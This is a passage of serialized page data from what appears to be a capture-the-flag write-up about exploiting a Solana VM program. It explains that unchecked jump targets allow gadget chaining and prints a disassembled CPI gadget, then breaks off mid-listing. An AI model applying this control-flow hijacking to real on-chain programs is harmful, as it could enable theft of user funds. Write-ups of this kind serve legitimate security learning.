flag:",{"type":26,"tag":35,"props":43609,"children":43610},{},[43611],{"type":26,"tag":132,"props":43612,"children":43615},{"alt":43613,"src":43614},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":26,"tag":35,"props":43617,"children":43618},{},[43619],{"type":32,"value":43620},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":26,"tag":27,"props":43622,"children":43624},{"id":43623},"solution-implementation",[43625],{"type":32,"value":43626},"Solution Implementation",{"type":26,"tag":35,"props":43628,"children":43629},{},[43630,43632,43637],{"type":32,"value":43631},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":26,"tag":53,"props":43633,"children":43635},{"className":43634},[],[43636],{"type":32,"value":35377},{"type":32,"value":43638}," invocations:",{"type":26,"tag":465,"props":43640,"children":43644},{"className":43641,"code":43642,"language":43643,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n A[0: entrypoint] --> B[1: process_instruction]\n B --> C[2: process]\n C --> D[3: gadget1]\n C --> E[3: process]\n E --> F[4: gadget2]\n E --> G[...]\n","mermaid",[43645],{"type":26,"tag":53,"props":43646,"children":43647},{"__ignoreMap":7},[43648,43656,43664,43672,43680,43688,43696],{"type":26,"tag":475,"props":43649,"children":43650},{"class":477,"line":478},[43651],{"type":26,"tag":475,"props":43652,"children":43653},{},[43654],{"type":32,"value":43655},"graph LR\n",{"type":26,"tag":475,"props":43657,"children":43658},{"class":477,"line":516},[43659],{"type":26,"tag":475,"props":43660,"children":43661},{},[43662],{"type":32,"value":43663}," A[0: entrypoint] --> B[1: process_instruction]\n",{"type":26,"tag":475,"props":43665,"children":43666},{"class":477,"line":539},[43667],{"type":26,"tag":475,"props":43668,"children":43669},{},[43670],{"type":32,"value":43671}," B --> C[2: process]\n",{"type":26,"tag":475,"props":43673,"children":43674},{"class":477,"line":548},[43675],{"type":26,"tag":475,"props":43676,"children":43677},{},[43678],{"type":32,"value":43679}," C --> D[3: gadget1]\n",{"type":26,"tag":475,"props":43681,"children":43682},{"class":477,"line":558},[43683],{"type":26,"tag":475,"props":43684,"children":43685},{},[43686],{"type":32,"value":43687}," C --> E[3: process]\n",{"type":26,"tag":475,"props":43689,"children":43690},{"class":477,"line":582},[43691],{"type":26,"tag":475,"props":43692,"children":43693},{},[43694],{"type":32,"value":43695}," E --> F[4: gadget2]\n",{"type":26,"tag":475,"props":43697,"children":43698},{"class":477,"line":596},[43699],{"type":26,"tag":475,"props":43700,"children":43701},{},[43702],{"type":32,"value":43703}," E --> G[...]\n",{"type":26,"tag":35,"props":43705,"children":43706},{},[43707],{"type":32,"value":43708},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":26,"tag":35,"props":43710,"children":43711},{},[43712,43714,43720],{"type":32,"value":43713},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":26,"tag":116,"props":43715,"children":43717},{"href":40175,"rel":43716},[120],[43718],{"type":32,"value":43719},"Binary Ninja",{"type":32,"value":43721}," to find a suitable gadget for this.",{"type":26,"tag":35,"props":43723,"children":43724},{},[43725,43727,43734],{"type":32,"value":43726},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":26,"tag":116,"props":43728,"children":43731},{"href":43729,"rel":43730},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[120],[43732],{"type":32,"value":43733},"skip the strip pass",{"type":32,"value":353},{"type":26,"tag":41,"props":43736,"children":43738},{"id":43737},"cpi-gadget",[43739],{"type":32,"value":43740},"CPI Gadget",{"type":26,"tag":35,"props":43742,"children":43743},{},[43744,43746,43751,43753,43760,43762,43768],{"type":32,"value":43745},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":26,"tag":53,"props":43747,"children":43749},{"className":43748},[],[43750],{"type":32,"value":37989},{"type":32,"value":43752}," function. This function calls into the solana sdk's function ",{"type":26,"tag":116,"props":43754,"children":43757},{"href":43755,"rel":43756},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[120],[43758],{"type":32,"value":43759},"invoke_signed_unchecked",{"type":32,"value":43761},", yielding a powerful gadget at the address ",{"type":26,"tag":53,"props":43763,"children":43765},{"className":43764},[],[43766],{"type":32,"value":43767},"0x100001ba8",{"type":32,"value":353},{"type":26,"tag":465,"props":43770,"children":43772},{"className":2685,"code":43771,"language":2684,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8 79a278ff00000000 ldxdw r2, [r10-136] {var_88}\n100001bb0 79a380ff00000000 ldxdw r3, [r10-128] {var_80}\n100001bb8 79a468ff00000000 ldxdw r4, [r10-152] {var_98}\n100001bc0 79a570ff00000000 ldxdw r5, [r10-144] {var_90}\n100001bc8 8520000020100000 call sol_invoke_signed_rust\n100001bd0 5500040000000000 jne \u003C+4> r0, 0x0\n\n100001bd8 b701000018000000 mov r1, 0x18\n100001be0 79a288ff00000000 ldxdw r2, [r10-120] {var_78}\n100001be8 6312000000000000 stxw [r2-0], r1 {0x18}\n100001bf0 0500030000000000 ja \u003C+3>\n\n100001bf8 79a188ff00000000 ldxdw r1, [r10-120] {var_78}\n100001c00 bf02000000000000 mov r2, r0\n100001c08 8510000075000000 call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10 79a2b8ff00000000 ldxdw r2, [r10-72] {var_48}\n100001c18 1502040000000000 jeq \u003C+4> r2, 0x0\n\n100001c20 2702000022000000 mul r2, 0x22\n100001c28 79a1b0ff00000000 ldxdw r1, [r10-80] {var_50}\n100001c30 b703000001000000 mov r3, 0x1\n100001c38 8510000003feffff call __rust_dealloc\n\n100001c40 79a2d0ff00000000 ldxdw r2, [r10-48] {var_30}\n100001c48 1502030000000000 jeq \u003C+3> r2, 0x0\n\n100001c50 79a1c8ff00000000 ldxdw r1, [r10-56] {var_38}\n100001c58 b703000001000000 mov r3, 0x1\n100001c60 85100000fefdffff call __rust_dealloc\n\n100001c68 9500000000000000 exit {__return_addr}\n",[43773],{"type":26,"tag":53,"props":43774,"children":43775},{"__ignoreMap":7},[43776,43801,43857,43908,43960,44012,44035,44083,44090,44122,44173,44231,44265,44272,44321,44351,44426,44433,44484,44530,44537,44568,44619,44649,44671,44678,44729,44774,44781,44832,44860,44881,44888],{"type":26,"tag":475,"props":43777,"children":43778},{"class":477,"line":478},[43779,43783,43787,43792,43796],{"type":26,"tag":475,"props":43780,"children":43781},{"style":499},[43782],{"type":32,"value":13360},{"type":26,"tag":475,"props":43784,"children":43785},{"style":714},[43786],{"type":32,"value":3187},{"type":26,"tag":475,"props":43788,"children":43789},{"style":499},[43790],{"type":32,"value":43791},"program",{"type":26,"tag":475,"props":43793,"children":43794},{"style":714},[43795],{"type":32,"value":3187},{"type":26,"tag":475,"props":43797,"children":43798},{"style":2375},[43799],{"type":32,"value":43800},"invoke_signed_unchecked\n",{"type":26,"tag":475,"props":43802,"children":43803},{"class":477,"line":516},[43804,43809,43814,43819,43824,43829,43834,43838,43843,43848,43853],{"type":26,"tag":475,"props":43805,"children":43806},{"style":2375},[43807],{"type":32,"value":43808},"100001ba8",{"type":26,"tag":475,"props":43810,"children":43811},{"style":2375},[43812],{"type":32,"value":43813}," 79a278ff00000000",{"type":26,"tag":475,"props":43815,"children":43816},{"style":2375},[43817],{"type":32,"value":43818}," ldxdw",{"type":26,"tag":475,"props":43820,"children":43821},{"style":2375},[43822],{"type":32,"value":43823}," r2",{"type":26,"tag":475,"props":43825,"children":43826},{"style":499},[43827],{"type":32,"value":43828},", [",{"type":26,"tag":475,"props":43830,"children":43831},{"style":2375},[43832],{"type":32,"value":43833},"r10",{"type":26,"tag":475,"props":43835,"children":43836},{"style":714},[43837],{"type":32,"value":4039},{"type":26,"tag":475,"props":43839,"children":43840},{"style":903},[43841],{"type":32,"value":43842},"136",{"type":26,"tag":475,"props":43844,"children":43845},{"style":499},[43846],{"type":32,"value":43847},"] {",{"type":26,"tag":475,"props":43849,"children":43850},{"style":2375},[43851],{"type":32,"value":43852},"var_88",{"type":26,"tag":475,"props":43854,"children":43855},{"style":499},[43856],{"type":32,"value":3607},{"type":26,"tag":475,"props":43858,"children":43859},{"class":477,"line":539},[43860,43865,43870,43874,43879,43883,43887,43891,43895,43899,43904],{"type":26,"tag":475,"props":43861,"children":43862},{"style":2375},[43863],{"type":32,"value":43864},"100001bb0",{"type":26,"tag":475,"props":43866,"children":43867},{"style":2375},[43868],{"type":32,"value":43869}," 79a380ff00000000",{"type":26,"tag":475,"props":43871,"children":43872},{"style":2375},[43873],{"type":32,"value":43818},{"type":26,"tag":475,"props":43875,"children":43876},{"style":2375},[43877],{"type":32,"value":43878}," r3",{"type":26,"tag":475,"props":43880,"children":43881},{"style":499},[43882],{"type":32,"value":43828},{"type":26,"tag":475,"props":43884,"children":43885},{"style":2375},[43886],{"type":32,"value":43833},{"type":26,"tag":475,"props":43888,"children":43889},{"style":714},[43890],{"type":32,"value":4039},{"type":26,"tag":475,"props":43892,"children":43893},{"style":903},[43894],{"type":32,"value":29550},{"type":26,"tag":475,"props":43896,"children":43897},{"style":499},[43898],{"type":32,"value":43847},{"type":26,"tag":475,"props":43900,"children":43901},{"style":2375},[43902],{"type":32,"value":43903},"var_80",{"type":26,"tag":475,"props":43905,"children":43906},{"style":499},[43907],{"type":32,"value":3607},{"type":26,"tag":475,"props":43909,"children":43910},{"class":477,"line":548},[43911,43916,43921,43925,43930,43934,43938,43942,43947,43951,43956],{"type":26,"tag":475,"props":43912,"children":43913},{"style":2375},[43914],{"type":32,"value":43915},"100001bb8",{"type":26,"tag":475,"props":43917,"children":43918},{"style":2375},[43919],{"type":32,"value":43920}," 79a468ff00000000",{"type":26,"tag":475,"props":43922,"children":43923},{"style":2375},[43924],{"type":32,"value":43818},{"type":26,"tag":475,"props":43926,"children":43927},{"style":2375},[43928],{"type":32,"value":43929}," r4",{"type":26,"tag":475,"props":43931,"children":43932},{"style":499},[43933],{"type":32,"value":43828},{"type":26,"tag":475,"props":43935,"children":43936},{"style":2375},[43937],{"type":32,"value":43833},{"type":26,"tag":475,"props":43939,"children":43940},{"style":714},[43941],{"type":32,"value":4039},{"type":26,"tag":475,"props":43943,"children":43944},{"style":903},[43945],{"type":32,"value":43946},"152",{"type":26,"tag":475,"props":43948,"children":43949},{"style":499},[43950],{"type":32,"value":43847},{"type":26,"tag":475,"props":43952,"children":43953},{"style":2375},[43954],{"type":32,"value":43955},"var_98",{"type":26,"tag":475,"props":43957,"children":43958},{"style":499},[43959],{"type":32,"value":3607},{"type":26,"tag":475,"props":43961,"children":43962},{"class":477,"line":558},[43963,43968,43973,43977,43982,43986,43990,43994,43999,44003,44008],{"type":26,"tag":475,"props":43964,"children":43965},{"style":2375},[43966],{"type":32,"value":43967},"100001bc0",{"type":26,"tag":475,"props":43969,"children":43970},{"style":2375},[43971],{"type":32,"value":43972}," 79a570ff00000000",{"type":26,"tag":475,"props":43974,"children":43975},{"style":2375},[43976],{"type":32,"value":43818},{"type":26,"tag":475,"props":43978,"children":43979},{"style":2375},[43980],{"type":32,"value":43981}," r5",{"type":26,"tag":475,"props":43983,"children":43984},{"style":499},[43985],{"type":32,"value":43828},{"type":26,"tag":475,"props":43987,"children":43988},{"style":2375},[43989],{"type":32,"value":43833},{"type":26,"tag":475,"props":43991,"children":43992},{"style":714},[43993],{"type":32,"value":4039},{"type":26,"tag":475,"props":43995,"children":43996},{"style":903},[43997],{"type":32,"value":43998},"144",{"type":26,"tag":475,"props":44000,"children":44001},{"style":499},[44002],{"type":32,"value":43847},{"type":26,"tag":475,"props":44004,"children":44005},{"style":2375},[44006],{"type":32,"value":44007},"var_90",{"type":26,"tag":475,"props":44009,"children":44010},{"style":499},[44011],{"type":32,"value":3607},{"type":26,"tag":475,"props":44013,"children":44014},{"class":477,"line":582},[44015,44020,44025,44030],{"type":26,"tag":475,"props":44016,"children":44017},{"style":2375},[44018],{"type":32,"value":44019},"100001bc8",{"type":26,"tag":475,"props":44021,"children":44022},{"style":903},[44023],{"type":32,"value":44024}," 8520000020100000",{"type":26,"tag":475,"props":44026,"children":44027},{"style":2375},[44028],{"type":32,"value":44029}," call",{"type":26,"tag":475,"props":44031,"children":44032},{"style":2375},[44033],{"type":32,"value":44034}," sol_invoke_signed_rust\n",{"type":26,"tag":475,"props":44036,"children":44037},{"class":477,"line":596},[44038,44043,44048,44053,44057,44061,44065,44069,44074,44078],{"type":26,"tag":475,"props":44039,"children":44040},{"style":2375},[44041],{"type":32,"value":44042},"100001bd0",{"type":26,"tag":475,"props":44044,"children":44045},{"style":903},[44046],{"type":32,"value":44047}," 5500040000000000",{"type":26,"tag":475,"props":44049,"children":44050},{"style":2375},[44051],{"type":32,"value":44052}," jne",{"type":26,"tag":475,"props":44054,"children":44055},{"style":499},[44056],{"type":32,"value":8430},{"type":26,"tag":475,"props":44058,"children":44059},{"style":714},[44060],{"type":32,"value":1106},{"type":26,"tag":475,"props":44062,"children":44063},{"style":903},[44064],{"type":32,"value":17235},{"type":26,"tag":475,"props":44066,"children":44067},{"style":499},[44068],{"type":32,"value":5534},{"type":26,"tag":475,"props":44070,"children":44071},{"style":2375},[44072],{"type":32,"value":44073},"r0",{"type":26,"tag":475,"props":44075,"children":44076},{"style":499},[44077],{"type":32,"value":637},{"type":26,"tag":475,"props":44079,"children":44080},{"style":903},[44081],{"type":32,"value":44082},"0x0\n",{"type":26,"tag":475,"props":44084,"children":44085},{"class":477,"line":610},[44086],{"type":26,"tag":475,"props":44087,"children":44088},{"emptyLinePlaceholder":18},[44089],{"type":32,"value":545},{"type":26,"tag":475,"props":44091,"children":44092},{"class":477,"line":650},[44093,44098,44103,44108,44113,44117],{"type":26,"tag":475,"props":44094,"children":44095},{"style":2375},[44096],{"type":32,"value":44097},"100001bd8",{"type":26,"tag":475,"props":44099,"children":44100},{"style":2375},[44101],{"type":32,"value":44102}," b701000018000000",{"type":26,"tag":475,"props":44104,"children":44105},{"style":2375},[44106],{"type":32,"value":44107}," mov",{"type":26,"tag":475,"props":44109,"children":44110},{"style":2375},[44111],{"type":32,"value":44112}," r1",{"type":26,"tag":475,"props":44114,"children":44115},{"style":499},[44116],{"type":32,"value":637},{"type":26,"tag":475,"props":44118,"children":44119},{"style":903},[44120],{"type":32,"value":44121},"0x18\n",{"type":26,"tag":475,"props":44123,"children":44124},{"class":477,"line":679},[44125,44130,44135,44139,44143,44147,44151,44155,44160,44164,44169],{"type":26,"tag":475,"props":44126,"children":44127},{"style":2375},[44128],{"type":32,"value":44129},"100001be0",{"type":26,"tag":475,"props":44131,"children":44132},{"style":2375},[44133],{"type":32,"value":44134}," 79a288ff00000000",{"type":26,"tag":475,"props":44136,"children":44137},{"style":2375},[44138],{"type":32,"value":43818},{"type":26,"tag":475,"props":44140,"children":44141},{"style":2375},[44142],{"type":32,"value":43823},{"type":26,"tag":475,"props":44144,"children":44145},{"style":499},[44146],{"type":32,"value":43828},{"type":26,"tag":475,"props":44148,"children":44149},{"style":2375},[44150],{"type":32,"value":43833},{"type":26,"tag":475,"props":44152,"children":44153},{"style":714},[44154],{"type":32,"value":4039},{"type":26,"tag":475,"props":44156,"children":44157},{"style":903},[44158],{"type":32,"value":44159},"120",{"type":26,"tag":475,"props":44161,"children":44162},{"style":499},[44163],{"type":32,"value":43847},{"type":26,"tag":475,"props":44165,"children":44166},{"style":2375},[44167],{"type":32,"value":44168},"var_78",{"type":26,"tag":475,"props":44170,"children":44171},{"style":499},[44172],{"type":32,"value":3607},{"type":26,"tag":475,"props":44174,"children":44175},{"class":477,"line":735},[44176,44181,44186,44191,44195,44200,44204,44208,44212,44217,44222,44227],{"type":26,"tag":475,"props":44177,"children":44178},{"style":2375},[44179],{"type":32,"value":44180},"100001be8",{"type":26,"tag":475,"props":44182,"children":44183},{"style":903},[44184],{"type":32,"value":44185}," 6312000000000000",{"type":26,"tag":475,"props":44187,"children":44188},{"style":2375},[44189],{"type":32,"value":44190}," stxw",{"type":26,"tag":475,"props":44192,"children":44193},{"style":499},[44194],{"type":32,"value":22741},{"type":26,"tag":475,"props":44196,"children":44197},{"style":2375},[44198],{"type":32,"value":44199},"r2",{"type":26,"tag":475,"props":44201,"children":44202},{"style":714},[44203],{"type":32,"value":4039},{"type":26,"tag":475,"props":44205,"children":44206},{"style":903},[44207],{"type":32,"value":3732},{"type":26,"tag":475,"props":44209,"children":44210},{"style":499},[44211],{"type":32,"value":22769},{"type":26,"tag":475,"props":44213,"children":44214},{"style":2375},[44215],{"type":32,"value":44216},"r1",{"type":26,"tag":475,"props":44218,"children":44219},{"style":499},[44220],{"type":32,"value":44221}," {",{"type":26,"tag":475,"props":44223,"children":44224},{"style":903},[44225],{"type":32,"value":44226},"0x18",{"type":26,"tag":475,"props":44228,"children":44229},{"style":499},[44230],{"type":32,"value":3607},{"type":26,"tag":475,"props":44232,"children":44233},{"class":477,"line":744},[44234,44239,44244,44249,44253,44257,44261],{"type":26,"tag":475,"props":44235,"children":44236},{"style":2375},[44237],{"type":32,"value":44238},"100001bf0",{"type":26,"tag":475,"props":44240,"children":44241},{"style":903},[44242],{"type":32,"value":44243}," 0500030000000000",{"type":26,"tag":475,"props":44245,"children":44246},{"style":2375},[44247],{"type":32,"value":44248}," ja",{"type":26,"tag":475,"props":44250,"children":44251},{"style":499},[44252],{"type":32,"value":8430},{"type":26,"tag":475,"props":44254,"children":44255},{"style":714},[44256],{"type":32,"value":1106},{"type":26,"tag":475,"props":44258,"children":44259},{"style":903},[44260],{"type":32,"value":17002},{"type":26,"tag":475,"props":44262,"children":44263},{"style":499},[44264],{"type":32,"value":5706},{"type":26,"tag":475,"props":44266,"children":44267},{"class":477,"line":753},[44268],{"type":26,"tag":475,"props":44269,"children":44270},{"emptyLinePlaceholder":18},[44271],{"type":32,"value":545},{"type":26,"tag":475,"props":44273,"children":44274},{"class":477,"line":761},[44275,44280,44285,44289,44293,44297,44301,44305,44309,44313,44317],{"type":26,"tag":475,"props":44276,"children":44277},{"style":2375},[44278],{"type":32,"value":44279},"100001bf8",{"type":26,"tag":475,"props":44281,"children":44282},{"style":2375},[44283],{"type":32,"value":44284}," 79a188ff00000000",{"type":26,"tag":475,"props":44286,"children":44287},{"style":2375},[44288],{"type":32,"value":43818},{"type":26,"tag":475,"props":44290,"children":44291},{"style":2375},[44292],{"type":32,"value":44112},{"type":26,"tag":475,"props":44294,"children":44295},{"style":499},[44296],{"type":32,"value":43828},{"type":26,"tag":475,"props":44298,"children":44299},{"style":2375},[44300],{"type":32,"value":43833},{"type":26,"tag":475,"props":44302,"children":44303},{"style":714},[44304],{"type":32,"value":4039},{"type":26,"tag":475,"props":44306,"children":44307},{"style":903},[44308],{"type":32,"value":44159},{"type":26,"tag":475,"props":44310,"children":44311},{"style":499},[44312],{"type":32,"value":43847},{"type":26,"tag":475,"props":44314,"children":44315},{"style":2375},[44316],{"type":32,"value":44168},{"type":26,"tag":475,"props":44318,"children":44319},{"style":499},[44320],{"type":32,"value":3607},{"type":26,"tag":475,"props":44322,"children":44323},{"class":477,"line":770},[44324,44329,44334,44338,44342,44346],{"type":26,"tag":475,"props":44325,"children":44326},{"style":2375},[44327],{"type":32,"value":44328},"100001c00",{"type":26,"tag":475,"props":44330,"children":44331},{"style":2375},[44332],{"type":32,"value":44333}," bf02000000000000",{"type":26,"tag":475,"props":44335,"children":44336},{"style":2375},[44337],{"type":32,"value":44107},{"type":26,"tag":475,"props":44339,"children":44340},{"style":2375},[44341],{"type":32,"value":43823},{"type":26,"tag":475,"props":44343,"children":44344},{"style":499},[44345],{"type":32,"value":637},{"type":26,"tag":475,"props":44347,"children":44348},{"style":2375},[44349],{"type":32,"value":44350},"r0\n",{"type":26,"tag":475,"props":44352,"children":44353},{"class":477,"line":794},[44354,44359,44364,44368,44373,44377,44382,44386,44390,44395,44399,44403,44408,44413,44417,44421],{"type":26,"tag":475,"props":44355,"children":44356},{"style":2375},[44357],{"type":32,"value":44358},"100001c08",{"type":26,"tag":475,"props":44360,"children":44361},{"style":903},[44362],{"type":32,"value":44363}," 8510000075000000",{"type":26,"tag":475,"props":44365,"children":44366},{"style":2375},[44367],{"type":32,"value":44029},{"type":26,"tag":475,"props":44369,"children":44370},{"style":505},[44371],{"type":32,"value":44372}," _ZN94_",{"type":26,"tag":475,"props":44374,"children":44375},{"style":714},[44376],{"type":32,"value":9997},{"type":26,"tag":475,"props":44378,"children":44379},{"style":505},[44380],{"type":32,"value":44381},"LT",{"type":26,"tag":475,"props":44383,"children":44384},{"style":714},[44385],{"type":32,"value":9997},{"type":26,"tag":475,"props":44387,"children":44388},{"style":2375},[44389],{"type":32,"value":13360},{"type":26,"tag":475,"props":44391,"children":44392},{"style":714},[44393],{"type":32,"value":44394},"...$",{"type":26,"tag":475,"props":44396,"children":44397},{"style":2375},[44398],{"type":32,"value":7753},{"type":26,"tag":475,"props":44400,"children":44401},{"style":714},[44402],{"type":32,"value":9997},{"type":26,"tag":475,"props":44404,"children":44405},{"style":505},[44406],{"type":32,"value":44407},"GT",{"type":26,"tag":475,"props":44409,"children":44410},{"style":714},[44411],{"type":32,"value":44412},"$$",{"type":26,"tag":475,"props":44414,"children":44415},{"style":505},[44416],{"type":32,"value":44407},{"type":26,"tag":475,"props":44418,"children":44419},{"style":714},[44420],{"type":32,"value":9997},{"type":26,"tag":475,"props":44422,"children":44423},{"style":499},[44424],{"type":32,"value":44425},"4from17ha0d289b72861b06dE\n",{"type":26,"tag":475,"props":44427,"children":44428},{"class":477,"line":831},[44429],{"type":26,"tag":475,"props":44430,"children":44431},{"emptyLinePlaceholder":18},[44432],{"type":32,"value":545},{"type":26,"tag":475,"props":44434,"children":44435},{"class":477,"line":845},[44436,44441,44446,44450,44454,44458,44462,44466,44471,44475,44480],{"type":26,"tag":475,"props":44437,"children":44438},{"style":2375},[44439],{"type":32,"value":44440},"100001c10",{"type":26,"tag":475,"props":44442,"children":44443},{"style":2375},[44444],{"type":32,"value":44445}," 79a2b8ff00000000",{"type":26,"tag":475,"props":44447,"children":44448},{"style":2375},[44449],{"type":32,"value":43818},{"type":26,"tag":475,"props":44451,"children":44452},{"style":2375},[44453],{"type":32,"value":43823},{"type":26,"tag":475,"props":44455,"children":44456},{"style":499},[44457],{"type":32,"value":43828},{"type":26,"tag":475,"props":44459,"children":44460},{"style":2375},[44461],{"type":32,"value":43833},{"type":26,"tag":475,"props":44463,"children":44464},{"style":714},[44465],{"type":32,"value":4039},{"type":26,"tag":475,"props":44467,"children":44468},{"style":903},[44469],{"type":32,"value":44470},"72",{"type":26,"tag":475,"props":44472,"children":44473},{"style":499},[44474],{"type":32,"value":43847},{"type":26,"tag":475,"props":44476,"children":44477},{"style":2375},[44478],{"type":32,"value":44479},"var_48",{"type":26,"tag":475,"props":44481,"children":44482},{"style":499},[44483],{"type":32,"value":3607},{"type":26,"tag":475,"props":44485,"children":44486},{"class":477,"line":854},[44487,44492,44497,44502,44506,44510,44514,44518,44522,44526],{"type":26,"tag":475,"props":44488,"children":44489},{"style":2375},[44490],{"type":32,"value":44491},"100001c18",{"type":26,"tag":475,"props":44493,"children":44494},{"style":903},[44495],{"type":32,"value":44496}," 1502040000000000",{"type":26,"tag":475,"props":44498,"children":44499},{"style":2375},[44500],{"type":32,"value":44501}," jeq",{"type":26,"tag":475,"props":44503,"children":44504},{"style":499},[44505],{"type":32,"value":8430},{"type":26,"tag":475,"props":44507,"children":44508},{"style":714},[44509],{"type":32,"value":1106},{"type":26,"tag":475,"props":44511,"children":44512},{"style":903},[44513],{"type":32,"value":17235},{"type":26,"tag":475,"props":44515,"children":44516},{"style":499},[44517],{"type":32,"value":5534},{"type":26,"tag":475,"props":44519,"children":44520},{"style":2375},[44521],{"type":32,"value":44199},{"type":26,"tag":475,"props":44523,"children":44524},{"style":499},[44525],{"type":32,"value":637},{"type":26,"tag":475,"props":44527,"children":44528},{"style":903},[44529],{"type":32,"value":44082},{"type":26,"tag":475,"props":44531,"children":44532},{"class":477,"line":862},[44533],{"type":26,"tag":475,"props":44534,"children":44535},{"emptyLinePlaceholder":18},[44536],{"type":32,"value":545},{"type":26,"tag":475,"props":44538,"children":44539},{"class":477,"line":885},[44540,44545,44550,44555,44559,44563],{"type":26,"tag":475,"props":44541,"children":44542},{"style":2375},[44543],{"type":32,"value":44544},"100001c20",{"type":26,"tag":475,"props":44546,"children":44547},{"style":903},[44548],{"type":32,"value":44549}," 2702000022000000",{"type":26,"tag":475,"props":44551,"children":44552},{"style":2375},[44553],{"type":32,"value":44554}," mul",{"type":26,"tag":475,"props":44556,"children":44557},{"style":2375},[44558],{"type":32,"value":43823},{"type":26,"tag":475,"props":44560,"children":44561},{"style":499},[44562],{"type":32,"value":637},{"type":26,"tag":475,"props":44564,"children":44565},{"style":903},[44566],{"type":32,"value":44567},"0x22\n",{"type":26,"tag":475,"props":44569,"children":44570},{"class":477,"line":913},[44571,44576,44581,44585,44589,44593,44597,44601,44606,44610,44615],{"type":26,"tag":475,"props":44572,"children":44573},{"style":2375},[44574],{"type":32,"value":44575},"100001c28",{"type":26,"tag":475,"props":44577,"children":44578},{"style":2375},[44579],{"type":32,"value":44580}," 79a1b0ff00000000",{"type":26,"tag":475,"props":44582,"children":44583},{"style":2375},[44584],{"type":32,"value":43818},{"type":26,"tag":475,"props":44586,"children":44587},{"style":2375},[44588],{"type":32,"value":44112},{"type":26,"tag":475,"props":44590,"children":44591},{"style":499},[44592],{"type":32,"value":43828},{"type":26,"tag":475,"props":44594,"children":44595},{"style":2375},[44596],{"type":32,"value":43833},{"type":26,"tag":475,"props":44598,"children":44599},{"style":714},[44600],{"type":32,"value":4039},{"type":26,"tag":475,"props":44602,"children":44603},{"style":903},[44604],{"type":32,"value":44605},"80",{"type":26,"tag":475,"props":44607,"children":44608},{"style":499},[44609],{"type":32,"value":43847},{"type":26,"tag":475,"props":44611,"children":44612},{"style":2375},[44613],{"type":32,"value":44614},"var_50",{"type":26,"tag":475,"props":44616,"children":44617},{"style":499},[44618],{"type":32,"value":3607},{"type":26,"tag":475,"props":44620,"children":44621},{"class":477,"line":926},[44622,44627,44632,44636,44640,44644],{"type":26,"tag":475,"props":44623,"children":44624},{"style":2375},[44625],{"type":32,"value":44626},"100001c30",{"type":26,"tag":475,"props":44628,"children":44629},{"style":2375},[44630],{"type":32,"value":44631}," b703000001000000",{"type":26,"tag":475,"props":44633,"children":44634},{"style":2375},[44635],{"type":32,"value":44107},{"type":26,"tag":475,"props":44637,"children":44638},{"style":2375},[44639],{"type":32,"value":43878},{"type":26,"tag":475,"props":44641,"children":44642},{"style":499},[44643],{"type":32,"value":637},{"type":26,"tag":475,"props":44645,"children":44646},{"style":903},[44647],{"type":32,"value":44648},"0x1\n",{"type":26,"tag":475,"props":44650,"children":44651},{"class":477,"line":948},[44652,44657,44662,44666],{"type":26,"tag":475,"props":44653,"children":44654},{"style":2375},[44655],{"type":32,"value":44656},"100001c38",{"type":26,"tag":475,"props":44658,"children":44659},{"style":2375},[44660],{"type":32,"value":44661}," 8510000003feffff",{"type":26,"tag":475,"props":44663,"children":44664},{"style":2375},[44665],{"type":32,"value":44029},{"type":26,"tag":475,"props":44667,"children":44668},{"style":2375},[44669],{"type":32,"value":44670}," __rust_dealloc\n",{"type":26,"tag":475,"props":44672,"children":44673},{"class":477,"line":966},[44674],{"type":26,"tag":475,"props":44675,"children":44676},{"emptyLinePlaceholder":18},[44677],{"type":32,"value":545},{"type":26,"tag":475,"props":44679,"children":44680},{"class":477,"line":979},[44681,44686,44691,44695,44699,44703,44707,44711,44716,44720,44725],{"type":26,"tag":475,"props":44682,"children":44683},{"style":2375},[44684],{"type":32,"value":44685},"100001c40",{"type":26,"tag":475,"props":44687,"children":44688},{"style":2375},[44689],{"type":32,"value":44690}," 79a2d0ff00000000",{"type":26,"tag":475,"props":44692,"children":44693},{"style":2375},[44694],{"type":32,"value":43818},{"type":26,"tag":475,"props":44696,"children":44697},{"style":2375},[44698],{"type":32,"value":43823},{"type":26,"tag":475,"props":44700,"children":44701},{"style":499},[44702],{"type":32,"value":43828},{"type":26,"tag":475,"props":44704,"children":44705},{"style":2375},[44706],{"type":32,"value":43833},{"type":26,"tag":475,"props":44708,"children":44709},{"style":714},[44710],{"type":32,"value":4039},{"type":26,"tag":475,"props":44712,"children":44713},{"style":903},[44714],{"type":32,"value":44715},"48",{"type":26,"tag":475,"props":44717,"children":44718},{"style":499},[44719],{"type":32,"value":43847},{"type":26,"tag":475,"props":44721,"children":44722},{"style":2375},[44723],{"type":32,"value":44724},"var_30",{"type":26,"tag":475,"props":44726,"children":44727},{"style":499},[44728],{"type":32,"value":3607},{"type":26,"tag":475,"props":44730,"children":44731},{"class":477,"line":1006},[44732,44737,44742,44746,44750,44754,44758,44762,44766,44770],{"type":26,"tag":475,"props":44733,"children":44734},{"style":2375},[44735],{"type":32,"value":44736},"100001c48",{"type":26,"tag":475,"props":44738,"children":44739},{"style":903},[44740],{"type":32,"value":44741}," 